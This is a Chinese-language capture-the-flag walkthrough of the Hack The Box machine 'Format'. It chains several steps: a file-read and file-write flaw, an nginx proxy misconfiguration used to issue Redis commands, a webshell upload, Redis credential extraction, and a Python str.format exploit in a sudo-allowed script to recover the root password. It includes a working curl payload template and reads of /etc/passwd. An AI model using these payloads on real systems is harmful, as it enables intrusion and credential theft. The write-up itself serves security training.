Format

Nmap

┌──(root💀kali)-[~]
└─# nmap -A 10.10.11.213
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-14 02:41 EDT
Nmap scan report for localhost (10.10.11.213)
Host is up (0.13s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 c397ce837d255d5dedb545cdf20b054f (RSA)
|   256 b3aa30352b997d20feb6758840a517c1 (ECDSA)
|_  256 fab37d6e1abcd14b68edd6e8976727d7 (ED25519)
80/tcp   open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html).
3000/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://microblog.htb:3000/

nmap 结果,发现一个microblog.htb域名,添加到hosts文件

80端口访问不了404,3000端口访问为

image-20230514144802252.png
image-20230514144802252.png
](Format.assets/image-20230514144802252.png#id=DY9VX&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=)![image-20230514145208904.png
](Format.assets/image-20230514144802252.png#id=DY9VX&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=)![image-20230514145208904.png

有一套源代码,用git clone 命令下载下来

┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/Format]
└─# git clone http://microblog.htb:3000/cooper/microblog.git
Cloning into 'microblog'...
remote: Enumerating objects: 61, done.
remote: Counting objects: 100% (61/61), done.
remote: Compressing objects: 100% (47/47), done.
remote: Total 61 (delta 4), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (61/61), 703.74 KiB | 70.00 KiB/s, done.
Resolving deltas: 100% (4/4), done.

扫描子域名

果断尝试扫描子域名

┌──(root💀kali)-[~]
└─# gobuster vhost -u http://microblog.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-1
10000.txt -t 100
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://microblog.htb
[+] Method:          GET
[+] Threads:         100
[+] Wordlist:        /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:      gobuster/3.3
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
2023/05/14 02:47:08 Starting gobuster in VHOST enumeration mode
===============================================================
Found: admin.microblog.htb Status: 200 [Size: 1588]
Found: app.microblog.htb Status: 200 [Size: 3976]
Found: sunny.microblog.htb Status: 200 [Size: 3732]
Progress: 114257 / 114442 (99.84%)===============================================================
2023/05/14 02:55:03 Finished
===============================================================
10.10.11.213 microblog.htb
10.10.11.213 admin.microblog.htb
10.10.11.213 app.microblog.htb
10.10.11.213 sunny.microblog.htb

一共4个域名

app.microblog.htb

image-20230514162555652.png
image-20230514162555652.png

这里有一个功能点是新增一个子域名,并且可以编辑这个子域名中一些内容

我们新增完子域名后,需要在/etc/hosts文件中添加解析才能访问到

点击edit site,可以修改header 和 txt

我们抓取到修改header的报文

image-20230514162816846.png
image-20230514162816846.png

发现可以读取文件内容

原因是

](Format.assets/image-20230514163354915.png#id=JncGI&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=)![image-20230514163354915.png
](Format.assets/image-20230514163354915.png#id=JncGI&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=)![image-20230514163354915.png

这一次请求把/etc/passwd写入到order_file这个文件中去了

当我们再一次访问这个页面的时候,就会触发fetchPage这个函数

](Format.assets/image-20230514163546376.png#id=G192Y&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=)![image-20230514163546376.png
](Format.assets/image-20230514163546376.png#id=G192Y&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=)![image-20230514163546376.png

这个函数会调用

image-20230514163447371.png
image-20230514163447371.png

file_get_contents($line)

前面我们把/etc/passwd 写入到order.txt这个文件里面去了,所以这里读取到了/etc/passwd的内容

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
cooper:x:1000:1000::/home/cooper:/bin/bash
redis:x:103:33::/var/lib/redis:/usr/sbin/nologin
git:x:104:111:Git Version Control,,,:/home/git:/bin/bash
messagebus:x:105:112::/nonexistent:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:997:997::/var/log/laurel:/bin/false
root:x:0:0:root:/root:/bin/bash
cooper:x:1000:1000::/home/cooper:/bin/bash
git:x:104:111:Git Version Control,,,:/home/git:/bin/bash

/etc/nginx/site-available/default

image.png
image.png

# You should look at the following URL's in order to grasp a solid understanding
# of Nginx configuration files in order to fully unleash the power of Nginx.
# https://www.nginx.com/resources/wiki/start/
# https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/
# https://wiki.debian.org/Nginx/DirectoryStructure
#
# In most cases, administrators will remove this file from sites-enabled/ and
# leave it as reference inside of sites-available where it will continue to be
# updated by the nginx packaging team.
#
# This file will automatically load configuration files provided by other
# applications, such as Drupal or Wordpress. These applications will be made
# available underneath a path with that package name, such as /drupal8.
#
# Please see /usr/share/doc/nginx-doc/examples/ for more detailed examples.
##

# Default server configuration
#
server {
    listen 80 default_server;
    listen [::]:80 default_server;

    # SSL configuration
    #
    # listen 443 ssl default_server;
    # listen [::]:443 ssl default_server;
    #
    # Note: You should disable gzip for SSL traffic.
    # See: https://bugs.debian.org/773332
    #
    # Read up on ssl_ciphers to ensure a secure configuration.
    # See: https://bugs.debian.org/765782
    #
    # Self signed certs generated by the ssl-cert package
    # Don't use them in a production server!
    #
    # include snippets/snakeoil.conf;

    root /var/www/html;

    # Add index.php to the list if you are using PHP
    index index.html index.htm index.nginx-debian.html;

    server_name _;

    location / {
        # First attempt to serve request as file, then
        # as directory, then fall back to displaying a 404.
        try_files $uri $uri/ =404;
    }

    # pass PHP scripts to FastCGI server
    #
    #location ~ .php$ {
    #	include snippets/fastcgi-php.conf;
    #
    #	# With php-fpm (or other unix sockets):
    #	fastcgi_pass unix:/run/php/php7.4-fpm.sock;
    #	# With php-cgi (or other tcp sockets):
    #	fastcgi_pass 127.0.0.1:9000;
    #}

    # deny access to .htaccess files, if Apache's document root
    # concurs with nginx's one
    #
    #location ~ /.ht {
    #	deny all;
    #}
}

server {
    listen 80;
    listen [::]:80;

    root /var/www/microblog/app;

    index index.html index.htm index-nginx-debian.html;

    server_name microblog.htb;

    location / {
        return 404;
    }

    location = /static/css/health/ {
        resolver 127.0.0.1;
        proxy_pass http://css.microbucket.htb/health.txt;
    }

    location = /static/js/health/ {
        resolver 127.0.0.1;
        proxy_pass http://js.microbucket.htb/health.txt;
    }

    location ~ /static/(.*)/(.*) {
        resolver 127.0.0.1;
        proxy_pass http://$1.microbucket.htb/$2;
    }
}

image.png
image.png

这里 有一个错误的配置,可以导致对内网中redis程序进行任意命令执行
Refer:https://labs.detectify.com/2021/02/18/middleware-middleware-everywhere-and-lots-of-misconfigurations-to-fix/

image.png
image.png
image.png
image.png

也就是说原本的方法的位置(GET,POST)我们改为 redis的命令
而socket:后面绿色的部分 即为redis参数

┌──(root💀kali)-[/home/…/hacktheboxtools/machine/Format/config]
└─# curl  -X "HSET" "http://microblog.htb/static/unix:%2fvar%2frun%2fredis%2fredis.sock:somebody%20pro%20%22true%22%20/d" -v
*   Trying 10.10.11.213:80...
* Connected to microblog.htb (10.10.11.213) port 80 (#0)
> HSET /static/unix:%2fvar%2frun%2fredis%2fredis.sock:somebody%20pro%20%22true%22%20/d HTTP/1.1
> Host: microblog.htb
> User-Agent: curl/7.87.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 502 Bad Gateway
< Server: nginx/1.18.0
< Date: Sat, 24 Jun 2023 07:18:42 GMT
< Content-Type: text/html
< Content-Length: 157
< Connection: keep-alive
<
<html>
<head><title>502 Bad Gateway</title></head>
<body>
<center><h1>502 Bad Gateway</h1></center>
<hr><center>nginx/1.18.0</center>
</body>
</html>
* Connection #0 to host microblog.htb left intact
curl -X "Redis Command" "http://microblog.htb/static/unix:<local Socket unix>:<Redis Table>%20<Redis Name>%20%22True%22%20/AnyThings"
image.png
image.png

我们已经成功变成了管理员权限

image.png
image.png

有了管理员的权限后就多了一个可以edit的标签
我们可以上传一个文件

image.png
image.png

直接这样上传发现失败了

protected function contraintsValidator()
  {
  /* check image for valid mime types and return mime */
  $this->getImageMime($this->_files['tmp_name']);
  /* validate image mime type */
  if (!in_array($this->mime, $this->mimeTypes)) {
  $this->error = sprintf('Invalid File! Only (%s) image types are allowed', implode(', ', $this->mimeTypes));
  return false;
  }

  /* get image sizes */
  list($minSize, $maxSize) = $this->size;

  /* check image size based on the settings */
  if ($this->_files['size'] < $minSize || $this->_files['size'] > $maxSize) {
  $min = $minSize.' bytes ('.intval($minSize / 1000).' kb)';
  $max = $maxSize.' bytes ('.intval($maxSize / 1000).' kb)';
  $this->error = 'Image size should be minumum '.$min.', upto maximum '.$max;
  return false;
  }

  /* check image dimension */
  list($maxWidth, $maxHeight) = $this->dimensions;	
  $this->width = $this->getWidth();
  $this->height = $this->getHeight();

  if ($this->height > $maxHeight || $this->width > $maxWidth) {
  $this->error = 'Image height/width should be less than '.$maxHeight.'/'.$maxWidth.' pixels';
  return false;
  }

  return true;
  }

这里有一段校验的代码

  1. 校验MIME
  2. 校验文件大小
  3. 校验图片的长和宽
image.png
image.png

实际MIME设置为png,Size最小为100,最大为3000000
但是我们又仔细看这里其实好像上传文件名被限制死为.png了
所以这个点不能利用

寻找利用点

provisionProUser

image.png
image.png

搜索isPro相关的内容的时候,发现这里有一个函数,是管理员才会调用就是

function provisionProUser() {
    if(isPro() === "true") {
        $blogName = trim(urldecode(getBlogName()));
        system("chmod +w /var/www/microblog/" . $blogName);
        system("chmod +w /var/www/microblog/" . $blogName . "/edit");
        system("cp /var/www/pro-files/bulletproof.php /var/www/microblog/" . $blogName . "/edit/");
        system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");
        system("chmod -w /var/www/microblog/" . $blogName . "/edit && chmod -w /var/www/microblog/" . $blogName);
    }
    return;
}

给我们创建的blog的网站根目录 授予写的权限
system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");
这一句
先创建 /var/www/microblog/我们的创建的域名/uploads这个文件夹
再给/var/www/microblog/我们的创建的域名/uploads授权表示带有文件创建者具有 RWX的权限

add-header

if (isset($_POST['header']) && isset($_POST['id'])) {
    chdir(getcwd() . "/../content");
    $html = "<div class = \"blog-h1 blue-fill\"><b>{$_POST['header']}</b></div>";
    $post_file = fopen("{$_POST['id']}", "w");
    fwrite($post_file, $html);
    fclose($post_file);
    $order_file = fopen("order.txt", "a");
    fwrite($order_file, $_POST['id'] . "\n");  
    fclose($order_file);
    header("Location: /edit?message=Section added!&status=success");
}

还记得前面这个地方我们是可以LFI的吗,同时他其实也可以写文件,id和header都是我们可以控制的参数
id控制写入的文件名,header控制写入的内容
再加上前面给uploads这个文件夹赋予了权限,所以我们尝试写shell

webshell写入

image.png
image.png
.
image.png
image.png
image.png
image.png
image.png
image.png

创建了一个abcc的子域名

image.png
image.png

发起添加header的请求,修改id和header

image.png
image.png

成功执行命令

反弹shell

image.png
image.png

pspy

记得我们在web端进行操作的时候每隔一段时间我们的用户信息和创建的子域名就会被删除,我们上pspy看一下进程

image.png
image.png

等了老长一段时间

redis-cli

发现了redis-cli 连接 redis.sock

keys *
cooper.dooper
cooper.dooper:sites
  
type cooper.dooper
hash
  
type cooper.dooper:sites
list
  
hgetall  cooper.dooper
username
cooper.dooper
password
zooperdoopercooper
first-name
Cooper
last-name
Dooper
pro
false

LRANGE cooper.dooper:sites 0 -1
sunny

先用keys * 来看有什么键值对
接着用type 命令来看 这个keys是什么类型的

  1. hash –> hgetall 查看对应的键的值
    1. usename–>cooper.dooper
    2. password–>zooperdoopercooper
    3. first-name–>Cooper
    4. last-name–>Dooper
    5. pro–>false
  2. list –> 用 LRANGE 来看
    1. 所以这个list里面只有一个sunny数据

LRANGE 命令用于获取列表中指定范围内的元素,其中第二个参数为起始索引,第三个参数为结束索引。如果将第二个参数设置为 0,将第三个参数设置为 -1,则表示获取列表中所有元素。

hash 类型

如果你想查看 cooper.dooper 哈希表中的所有字段和值,可以使用以下命令:

redis-cli HGETALL cooper.dooper

以上命令将返回 cooper.dooper 哈希表中所有字段和对应的值。
如果你只想查看 username、password、first-name 和 last-name 这些字段的值,可以使用以下命令:

redis-cli HMGET cooper.dooper username password first-name last-name

以上命令中,HMGET 命令用于获取哈希表中指定字段的值,其中第二个参数为要获取的字段名。
如果你想查看 pro 字段的值,可以使用以下命令:

redis-cli HGET cooper.dooper pro

以上命令将返回 cooper.dooper 哈希表中 pro 字段的值。
需要注意的是,在使用以上命令时,需要注意命令的使用方式和参数,以确保获取正确的信息。同时,为了保证 Redis 服务器的性能和安全性,需要对读取信息的操作进行适当的限制和控制。

list 类型

如果你想查看 cooper.dooper:sites 列表中的元素 sunny 的详细信息,需要先确定这个元素的位置(即索引)。可以使用以下命令来查找元素索引:

redis-cli LPOS cooper.dooper:sites sunny

以上命令中,LPOS 命令用于查找列表中第一个值与 sunny 相等的元素的索引。
如果 LPOS 命令返回的索引是 n,则可以使用以下命令来获取列表中第 n 个元素的详细信息:

redis-cli LINDEX cooper.dooper:sites n

以上命令将返回列表中第 n 个元素的值。
需要注意的是,在使用以上命令时,需要注意命令的使用方式和参数,以确保获取正确的信息。同时,为了保证 Redis 服务器的性能和安全性,需要对读取信息的操作进行适当的限制和控制。

username password
cooper.dooper zooperdoopercooper
image.png
image.png

成功拿到user权限

root

image.png
image.png
cooper@format:/usr/bin$ sudo -l
Matching Defaults entries for cooper on format:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cooper may run the following commands on format:
    (root) /usr/bin/license
cooper@format:/usr/bin$ file /usr/bin/license
/usr/bin/license: Python script, ASCII text executable

#!/usr/bin/python3

import base64
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.fernet import Fernet
import random
import string
from datetime import date
import redis
import argparse
import os
import sys

class License():
def __init__(self):
chars = string.ascii_letters + string.digits + string.punctuation
self.license = ''.join(random.choice(chars) for i in range(40))
self.created = date.today()

if os.geteuid() != 0:
print("")
print("Microblog license key manager can only be run as root")
print("")
sys.exit()

parser = argparse.ArgumentParser(description='Microblog license key manager')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-p', '--provision', help='Provision license key for specified user', metavar='username')
group.add_argument('-d', '--deprovision', help='Deprovision license key for specified user', metavar='username')
group.add_argument('-c', '--check', help='Check if specified license key is valid', metavar='license_key')
args = parser.parse_args()

r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')

secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))

f = Fernet(encryption_key)
l = License()

#provision
if(args.provision):
user_profile = r.hgetall(args.provision)
if not user_profile:
    print("")
    print("User does not exist. Please provide valid username.")
    print("")
    sys.exit()
    existing_keys = open("/root/license/keys", "r")
    all_keys = existing_keys.readlines()
for user_key in all_keys:
if(user_key.split(":")[0] == args.provision):
print("")
print("License key has already been provisioned for this user")
print("")
sys.exit()
prefix = "microblog"
username = r.hget(args.provision, "username").decode()
firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
print("")
print("Plaintext license key:")
print("------------------------------------------------------")
print(license_key)
print("")
license_key_encoded = license_key.encode()
license_key_encrypted = f.encrypt(license_key_encoded)
print("Encrypted license key (distribute to customer):")
print("------------------------------------------------------")
print(license_key_encrypted.decode())
print("")
with open("/root/license/keys", "a") as license_keys_file:
license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "\n")

#deprovision
if(args.deprovision):
print("")
print("License key deprovisioning coming soon")
print("")
sys.exit()

#check
if(args.check):
print("")
try:
license_key_decrypted = f.decrypt(args.check.encode())
print("License key valid! Decrypted value:")
print("------------------------------------------------------")
print(license_key_decrypted.decode())
except:
print("License key invalid")
print("")
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)

最重要的就是这一行,使用了format

这里存在format格式化字符串漏洞,这也是本靶机名字的来源
Refer:
https://podalirius.net/en/articles/python-format-string-vulnerabilities/
https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/

image.png
image.png
image.png
image.png
image.png
image.png

其中密码是secret:unCR4ckaBL3Pa$$w0rd
尝试切换root成功